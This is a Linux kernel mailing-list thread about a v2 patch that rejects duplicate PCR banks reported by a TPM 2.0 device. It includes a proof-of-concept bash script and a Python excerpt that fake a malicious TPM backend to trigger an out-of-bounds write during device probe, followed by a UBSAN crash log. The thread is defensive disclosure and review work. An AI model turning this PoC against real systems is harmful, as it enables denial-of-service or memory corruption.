tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation
Subsystems (3)
v2 cover tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation
Hi Linux kernel maintainers,
We found and validated an issue in drivers/char/tpm/tpm2-cmd.c. The bug is triggered by an attacker-controlled TPM 2.0 backend that returns duplicate PCR bank selections in its TPM2_CAP_PCRS response during device probe.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
Changes in v2:
- Return -EIO on a duplicate PCR bank instead of silently ignoring it, as requested by Jarkko Sakkinen.
- v1 Link: https://lore.kernel.org/all/[email protected]/
---- details below ----
Bug details:
struct tpm_chip reserves chip->groups as an array with only 3 + TPM_MAX_HASHES slots (8, with TPM_MAX_HASHES = 5). tpm2_get_pcr_allocation() parses the TPM2_CAP_PCRS response and adds every selection with a non-zero pcr_select to chip->allocated_banks[]. It rejects more than TPM2_MAX_PCR_BANKS (8) selections but never checks that the hash algorithm is unique. tpm_sysfs_add_device() then stores the device group plus one PCR group per allocated bank with chip->groups[chip->groups_cnt++], so eight duplicate SHA1 banks make it write index 8 of an 8-element array, before the trailing WARN_ON(chip->groups_cnt > TPM_MAX_HASHES + 1).
The TPM response is external input: a malicious or buggy TPM 2.0 backend can report the same bank eight times and drive the out-of-bounds write during tpm_chip_register() -> tpm_sysfs_add_device().
Return -EIO when a hash algorithm is reported twice. The TPM protocol does not allow that duplicate, so the chip is not enabled instead of silently dropping the extra selection.
Reproducer:
cd /root
./poc.sh
poc.sh starts malicious_tpm.py, a small swtpm-control-protocol backend that answers TPM2_CAP_PCRS with eight duplicate SHA1 selections, and boots a kernel with -device tpm-tis pointing at it. The script defaults KERNEL_SRC to linux-lts-v6.12.74 and treats tpm-sysfs.c:513 as success. That default tree is not the build in the crash log below.
The captured run is 7.3.0-rc3-00322-gab411db3c3b1 on a 2 vCPU, 2 GB RAM x86 QEMU/KVM guest, with CONFIG_TCG_TPM, CONFIG_TCG_TIS and CONFIG_UBSAN_BOUNDS enabled and panic_on_warn=1 on the command line. UBSAN in that log reports tpm-sysfs.c:517. CONFIG_TCG_TPM2_HMAC is disabled so the probe reaches TPM2_CAP_PCRS without the fake backend having to answer CREATE_PRIMARY.
------BEGIN poc.sh------
#!/usr/bin/env bash
set -euo pipefail
DIR="$(cd -- "$(dirname -- "$0")" && pwd)" KERNEL_SRC="${1:-/home/data/data/repos/linux-repos/linux-lts-v6.12.74}" CTRL_SOCK="$(mktemp -u /tmp/malicious-tpm-XXXXXX.sock)" BACKEND_LOG="${DIR}/backend.log" RAW_QEMU_LOG="${DIR}/qemu-raw.log" QEMU_LOG="${DIR}/qemu.log"
cleanup() {
if [[ -n "${BACKEND_PID:-}" ]] && kill -0 "${BACKEND_PID}" 2>/dev/null; then
kill -TERM "${BACKEND_PID}" 2>/dev/null || true
wait "${BACKEND_PID}" 2>/dev/null || true fi
rm -f "${CTRL_SOCK}"
}
trap cleanup EXIT
: > "${BACKEND_LOG}"
python3 "${DIR}/malicious_tpm.py" --ctrl "${CTRL_SOCK}" --log "${BACKEND_LOG}" & BACKEND_PID=$!
echo "backend log: ${BACKEND_LOG}"
echo "raw qemu log: ${RAW_QEMU_LOG}"
echo "sanitized qemu log: ${QEMU_LOG}"
echo "The VM should exit on its own after the panic. If it does not, kill the printed pid."
script -q -f "${RAW_QEMU_LOG}" -c "${DIR}/qemu-start-kernel-tpm.sh ${KERNEL_SRC} ${CTRL_SOCK}" perl -pe 's/\e\[[0-9;?]*[ -\/]*[@-~]//g; s/\ec//g; s/\r//g' "${RAW_QEMU_LOG}" > "${QEMU_LOG}"
if grep -q 'UBSAN: array-index-out-of-bounds in ../drivers/char/tpm/tpm-sysfs.c:513:16' "${QEMU_LOG}" &&
grep -q 'Kernel panic - not syncing: UBSAN: panic_on_warn set' "${QEMU_LOG}"; then
echo "Trigger confirmed. See ${QEMU_LOG}"
else
echo "Trigger not observed. See ${QEMU_LOG} and ${BACKEND_LOG}" >&2
exit 1
fi
------END poc.sh--------
------BEGIN malicious_tpm.py excerpt------
ALG_SHA1 = 0x0004
def build_get_cap_pcrs():
entries = []
for _ in range(8):
entries.append(be16(ALG_SHA1) + b"\x03" + b"\x01\x00\x00")
payload = b"\x00" + be32(TPM2_CAP_PCRS) + be32(8) + b"".join(entries)
return build_header(TPM2_RC_SUCCESS, payload)
if cap == TPM2_CAP_PCRS:
return build_get_cap_pcrs()------END malicious_tpm.py excerpt------
Captured 7.3.0-rc3 log (7.3.0-rc3-00322-gab411db3c3b1). This is not the script's default linux-lts-v6.12.74 tree.
----BEGIN crash log----
[ 0.487531] ------------[ cut here ]------------ [ 0.487533] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-tpm-675/drivers/char/tpm/tpm-sysfs.c:517:16 [ 0.487535] index 8 is out of range for type 'attribute_group *[8]' [ 0.487538] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.3.0-rc3-00322-gab411db3c3b1 #2 PREEMPT(lazy) [ 0.487541] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-10.fc44 06/10/2025 [ 0.487542] Call Trace: [ 0.487553] <TASK> [ 0.487555] dump_stack_lvl+0x4d/0x70 [ 0.487561] ubsan_epilogue+0x5/0x2b [ 0.487564] __ubsan_handle_out_of_bounds.cold+0x4e/0x58 [ 0.487567] tpm_sysfs_add_device+0x29f/0x380 [ 0.487573] tpm_chip_register+0x3d/0x1e0 [ 0.487576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487579] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487580] tpm_tis_core_init.cold+0x1bc/0x3a1 [ 0.487584] tpm_tis_plat_probe+0x101/0x130 [ 0.487588] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487590] platform_probe+0x74/0xc0 [ 0.487594] ? driver_sysfs_add+0x50/0x80 [ 0.487596] really_probe+0xdd/0x290 [ 0.487597] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487599] __driver_probe_device+0x99/0x180 [ 0.487601] ? __pfx___driver_attach+0x10/0x10 [ 0.487602] driver_probe_device+0x1a/0xa0 [ 0.487604] ? __pfx___driver_attach+0x10/0x10 [ 0.487605] __driver_attach+0xab/0x180 [ 0.487607] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487608] bus_for_each_dev+0x92/0xf0 [ 0.487611] bus_add_driver+0x104/0x220 [ 0.487613] ? __pfx_init_tis+0x10/0x10 [ 0.487617] driver_register+0x70/0xe0 [ 0.487619] init_tis+0x9b/0xf0 [ 0.487623] do_one_initcall+0x84/0x260 [ 0.487626] kernel_init_freeable+0x249/0x2c0 [ 0.487630] ? __pfx_kernel_init+0x10/0x10 [ 0.487633] kernel_init+0x1b/0x140 [ 0.487635] ? __pfx_kernel_init+0x10/0x10 [ 0.487637] ret_from_fork+0x196/0x260 [ 0.487640] ? __pfx_kernel_init+0x10/0x10 [ 0.487641] ? __pfx_kernel_init+0x10/0x10 [ 0.487643] ret_from_fork_asm+0x1a/0x30 [ 0.487646] </TASK> [ 0.487647] ---[ end trace ]--- [ 0.487648] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Yuqi Xu
Yuqi Xu (1):
tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation
drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+)
base-commit: ab411db3c3b1fd0c70a36fb32c96b2c60175210b
Signature · 1 line
2.55.0
PATCH v2 1/1 tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation
The TPM2_CAP_PCRS response is external input. tpm2_get_pcr_allocation() adds every active selection to allocated_banks, while tpm_sysfs_add_device() has one group slot per distinct hash algorithm. Eight duplicate selections can therefore write past chip->groups[].
The TPM protocol does not allow a hash algorithm to appear twice in this capability response. Treat a duplicate as a broken TPM and return -EIO so the chip is not enabled, instead of silently dropping the extra selection.
---
Changes in v2:
- Return -EIO on a duplicate PCR bank instead of silently ignoring it, as requested by Jarkko Sakkinen. A duplicate violates the TPM protocol, so the chip is not enabled.
- v1 Link: https://lore.kernel.org/all/[email protected]/
drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+)
drivers/char/tpm/tpm2-cmd.c +18 -0
@@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)u32 rsp_len;int rc;int i =0 ; +int j; struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);if (!buf)
@@ -569,6 +570,23 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip) pcr_select_offset =memchr_inv (pcr_selection.pcr_select,0 , pcr_selection.size_of_select);if (pcr_select_offset) { +for (j =0 ; j < nr_alloc_banks; j++) { +if (chip->allocated_banks[j].alg_id == hash_alg) +break ; + } + +/* +* The TPM protocol does not allow the same hash +* algorithm twice. A duplicate means this device +* is not behaving; do not enable it. +*/ +if (j != nr_alloc_banks) { +pr_err ("tpm: duplicate PCR bank for algorithm 0x%04x\n" , + hash_alg); + rc = -EIO ; +break ; + } + chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg; rc =tpm2_init_bank_info (chip, nr_alloc_banks);
Signature · 1 line
2.55.0
Quoted 64 lines · Yuqi Xu
The
TPM2_CAP_PCRSresponse is external input.tpm2_get_pcr_allocation()adds every active selection toallocated_banks, whiletpm_sysfs_add_device()has one group slot per distinct hash algorithm. Eight duplicate selections can therefore write past chip->groups[].The TPM protocol does not allow a hash algorithm to appear twice in this capability response. Treat a duplicate as a broken TPM and return
-EIOso the chip is not enabled, instead of silently dropping the extra selection.Fixes aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")Reported-by Vega <[email protected]>Assisted-by LLMSigned-off-by Yuqi Xu <[email protected]>Reviewed-by Ren Wei <[email protected]>---
Changes in v2:
- Return-EIOon a duplicate PCR bank instead of silently ignoring it, as requested by Jarkko Sakkinen. A duplicate violates the TPM protocol, so the chip is not enabled.
- v1 Link: https://lore.kernel.org/all/[email protected]/drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+)drivers/char/tpm/tpm2-cmd.c +18
-0@@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)u32 rsp_len;int rc;int i =0 ; +int j; struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);if (!buf)@@ -569,6 +570,23 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip) pcr_select_offset =memchr_inv (pcr_selection.pcr_select,0 , pcr_selection.size_of_select);if (pcr_select_offset) { +for (j =0 ; j < nr_alloc_banks; j++) { +if (chip->allocated_banks[j].alg_id == hash_alg) +break ; + } + +/* +* The TPM protocol does not allow the same hash +* algorithm twice. A duplicate means this device +* is not behaving; do not enable it. +*/ +if (j != nr_alloc_banks) { +pr_err ("tpm: duplicate PCR bank for algorithm 0x%04x\n" , + hash_alg); + rc = -EIO ; +break ; + } + chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg; rc =tpm2_init_bank_info (chip, nr_alloc_banks);Signature · 1 line
2.55.0
Yeah, so in some places like this some of the TPM driver code does return -EFAULT but I'd like to progressively refactor so that any corrupted traffic is always -EIO and use -EFAULT for memory related issues.
Thank you!
Br, Jarkko
Jarkko Sakkinen
maintainerQuoted 71 lines · Jarkko Sakkinen
Quoted 64 lines · Yuqi Xu
The
TPM2_CAP_PCRSresponse is external input.tpm2_get_pcr_allocation()adds every active selection toallocated_banks, whiletpm_sysfs_add_device()has one group slot per distinct hash algorithm. Eight duplicate selections can therefore write past chip->groups[].The TPM protocol does not allow a hash algorithm to appear twice in this capability response. Treat a duplicate as a broken TPM and return
-EIOso the chip is not enabled, instead of silently dropping the extra selection.Fixes aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")Reported-by Vega <[email protected]>Assisted-by LLMSigned-off-by Yuqi Xu <[email protected]>Reviewed-by Ren Wei <[email protected]>---
Changes in v2:
- Return-EIOon a duplicate PCR bank instead of silently ignoring it, as requested by Jarkko Sakkinen. A duplicate violates the TPM protocol, so the chip is not enabled.
- v1 Link: https://lore.kernel.org/all/[email protected]/drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+)drivers/char/tpm/tpm2-cmd.c +18
-0@@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)u32 rsp_len;int rc;int i =0 ; +int j; struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);if (!buf)@@ -569,6 +570,23 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip) pcr_select_offset =memchr_inv (pcr_selection.pcr_select,0 , pcr_selection.size_of_select);if (pcr_select_offset) { +for (j =0 ; j < nr_alloc_banks; j++) { +if (chip->allocated_banks[j].alg_id == hash_alg) +break ; + } + +/* +* The TPM protocol does not allow the same hash +* algorithm twice. A duplicate means this device +* is not behaving; do not enable it. +*/ +if (j != nr_alloc_banks) { +pr_err ("tpm: duplicate PCR bank for algorithm 0x%04x\n" , + hash_alg); + rc = -EIO ; +break ; + } + chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg; rc =tpm2_init_bank_info (chip, nr_alloc_banks);Signature · 1 line
2.55.0Yeah, so in some places like this some of the TPM driver code does return
-EFAULTbut I'd like to progressively refactor so that any corrupted traffic is always-EIOand use-EFAULTfor memory related issues.
Quoted 3 lines
Thank you!
Reviewed-by Jarkko Sakkinen <[email protected]>
WARNING: Reported-by: should be immediately followed by Closes: or Link: with a URL to the report #18:
No need to resend a new version but I'd need a link to the *report* to retain reported-by tag here.
Br, Jarkko
Quoted 2 lines · Jarkko Sakkinen
No need to resend a new version but I'd need a link to the *report* to retain reported-by tag here.
https://bugtracker.nebusec.ai/f/675
This is the report. The page requires a sign-in or registration before it opens.
Thanks,
Yuqi Xu
Quoted 10 lines · Yuqi Xu
Quoted 2 lines · Jarkko Sakkinen
No need to resend a new version but I'd need a link to the *report* to retain reported-by tag here.
https://bugtracker.nebusec.ai/f/675
This is the report. The page requires a sign-in or registration before it opens.
Thanks,
Yuqi Xu
Hi Jarkko,
This bug report comes from our bug tracker[1]. The tracker automatically collects bug reports from different sources, such as Sashiko and bugs found by our own tools, and then attempts to generate reproducers to verify that the reported issues are real rather than LLM hallucinations.
Some maintainers were concerned that some of these bugs could have security implications, so we currently restrict registration to email addresses listed in the MAINTAINERS file.
At the moment, we have implemented automatic fix tracking and Sashiko report collection for the networking subsystem. These features are not yet available for other subsystems, so if you log in, you may notice that some bugs in the system have already been fixed upstream.
We'd be happy to provide support if you're interested in using the tracker.
Best,
Yuan
Background about this tracker:
[1] https://lore.kernel.org/all/[email protected]/
Quoted 8 lines · Yuqi Xu
Quoted 2 lines · Jarkko Sakkinen
No need to resend a new version but I'd need a link to the *report* to retain reported-by tag here.
https://bugtracker.nebusec.ai/f/675
This is the report. The page requires a sign-in or registration before it opens.
For me this is good enough given that there is nothing unclear in the bug fix itself.
Thanks.
Quoted 3 lines
Thanks,
Yuqi Xu
Br, Jarkko
Jarkko Sakkinen
maintainerQuoted 7 lines · Jarkko Sakkinen
Quoted 6 lines · Yuqi Xu
Quoted 2 lines · Jarkko Sakkinen
No need to resend a new version but I'd need a link to the *report* to retain reported-by tag here.
Quoted 7 lines
Quoted 2 lines
This is the report. The page requires a sign-in or registration before it opens.
For me this is good enough given that there is nothing unclear in the bug fix itself.
Thanks.
OK, so now that I was writing summary of TPM pull request changes, I came into conclusion that this is not a bug fix, unless you can show from TCG specifications that this is possible spec allowed behaviour.
So I can keep the commit but would remove fixes and bug related tags from this. It is essentially hardening and safety measure but not a bug fix.
Do you have something to say that I might have missed?
Br, Jarkko
Hi Jarkko,
Quoted 3 lines · Jarkko Sakkinen
OK, so now that I was writing summary of TPM pull request changes, I came into conclusion that this is not a bug fix, unless you can show from TCG specifications that this is possible spec allowed behaviour.
I cannot. Part 1 identifies a PCR bank by its hash algorithm, so one hash is one bank. In the TCG reference implementation, TPM2_PCR_Allocate keeps only the last selection when the same hash appears more than once, and TPM2_GetCapability(TPM_CAP_PCRS) returns that allocation. A conformant TPM will not report a duplicate.
Quoted 3 lines
So I can keep the commit but would remove fixes and bug related tags from this. It is essentially hardening and safety measure but not a bug fix.
Please do. Drop Fixes:, Cc: stable, Reported-by:, and Closes:. The code change can stay as hardening.
Quoted 1 line
Do you have something to say that I might have missed?
Only that the commit is not on the current master after the rebase. I can send a v3 without those tags if that is easier than reapplying it yourself.
Thanks,
Yuqi
Jarkko Sakkinen
maintainerQuoted 17 lines · Yuqi Xu
Hi Jarkko,
Quoted 3 lines · Jarkko Sakkinen
OK, so now that I was writing summary of TPM pull request changes, I came into conclusion that this is not a bug fix, unless you can show from TCG specifications that this is possible spec allowed behaviour.
I cannot. Part 1 identifies a PCR bank by its hash algorithm, so one hash is one bank. In the TCG reference implementation,
TPM2_PCR_Allocatekeeps only the last selection when the same hash appears more than once, andTPM2_GetCapability(TPM_CAP_PCRS)returns that allocation. A conformant TPM will not report a duplicate.Quoted 3 lines
So I can keep the commit but would remove fixes and bug related tags from this. It is essentially hardening and safety measure but not a bug fix.
Quoted 8 lines
Please do. Drop Fixes:, Cc: stable, Reported-by:, and Closes:. The code change can stay as hardening.
Quoted 1 line
Do you have something to say that I might have missed?
Only that the commit is not on the current master after the rebase. I can send a v3 without those tags if that is easier than reapplying it yourself.
Thanks for quick reaction. I can still get it to the pull request.
This was just a question of taxonomy. I think it is otherwise useful to have this validation in place (i.e. not disregarding the change overall).
Quoted 4 lines
Thanks,
Yuqi
Br, Jarkko